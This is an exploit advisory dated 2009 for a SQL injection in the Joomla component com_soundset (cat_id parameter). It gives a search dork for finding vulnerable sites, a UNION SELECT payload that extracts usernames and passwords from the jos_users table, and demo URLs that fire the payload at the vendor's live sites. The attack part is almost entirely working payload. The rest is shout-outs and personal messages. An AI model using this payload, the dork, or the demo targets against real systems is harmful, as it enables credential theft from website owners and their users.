/******************************************************************************** [~] Joomla Component com_soundset Remote SQL injection vulnerability - (cat_id) [~] Author : kaMtiEz (kamzcrew@gmail.com) [~] Homepage : http://www.indonesiancoder.com [~] Date : October 4, 2009 [~] Tune In : http://antisecradio.fm (choose your weapon) ********************************************************************************/ [ Software Information ] [+] Vendor : http://www.soundset.at/ [+] Download : - [+] version : 1.0 [+] Vulnerability : SQL injection [+] Dork : inurl:"com_soundset" [+] Price : EUR 119.00 ================================================================================ [ Vulnerable File ] http://127.0.0.1/ndex.php?option=com_soundset&controller=showcategory&cat_id=[INDONESIANCODER] [ Exploit ] -666+union+select+1,2,concat_ws(0x3a,username,password)kaMtiEz,4,5+from+jos_users-- [ Demo ] http://www.soundset.at/cms/index.php?option=com_soundset&controller=showcategory&cat_id=-666+union+select+1,2,concat_ws(0x3a,username,password)kaMtiEz,4,5+from+jos_users-- http://joomla.soundset.at/index.php?option=com_soundset&controller=showcategory&cat_id=-666+union+select+1,2,concat_ws(0x3a,username,password)kaMtiEz,4,5+from+jos_users-- ================================================================================ [ Thx TO ] [+] INDONESIAN CODER TEAM - KILL-9 CREW - KIRIK CREW - MainHack Brotherhood - ServerIsDown [+] Don Tukulesto, M3NW5, arianom, tiw0L, Pathloader, abah_benu, VycOd, och3_an3h [+] Contrex, onthel, yasea, bugs, olivia, Jovan, Aar, Ardy, invent, Ronz [+] Coracore, black666girl, NepT, ichal, tengik, Gh4mb4s ,rendy, Jack- and YOU!! [ NOTE ] [+] Mom and dad i love u .. for my girlfriends thx for your support mwahhhh ^_^ [+] terima kasih banget buat tukulesto dan arianom yang setiap malam menemani saya waktu exploit .. wkwkwkw [+] terima kasih buat vYc0d yang menemani saya waktu YM an jangan lupa kuliah e ojo fb nan terus ! wkwkw.. wkwkwkkwkw [ QUOTE ] [+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih dan masih belum ketemu juga :"( wkwkw .... [+] AURAKASIH I MISS U FULL arghhhhh ...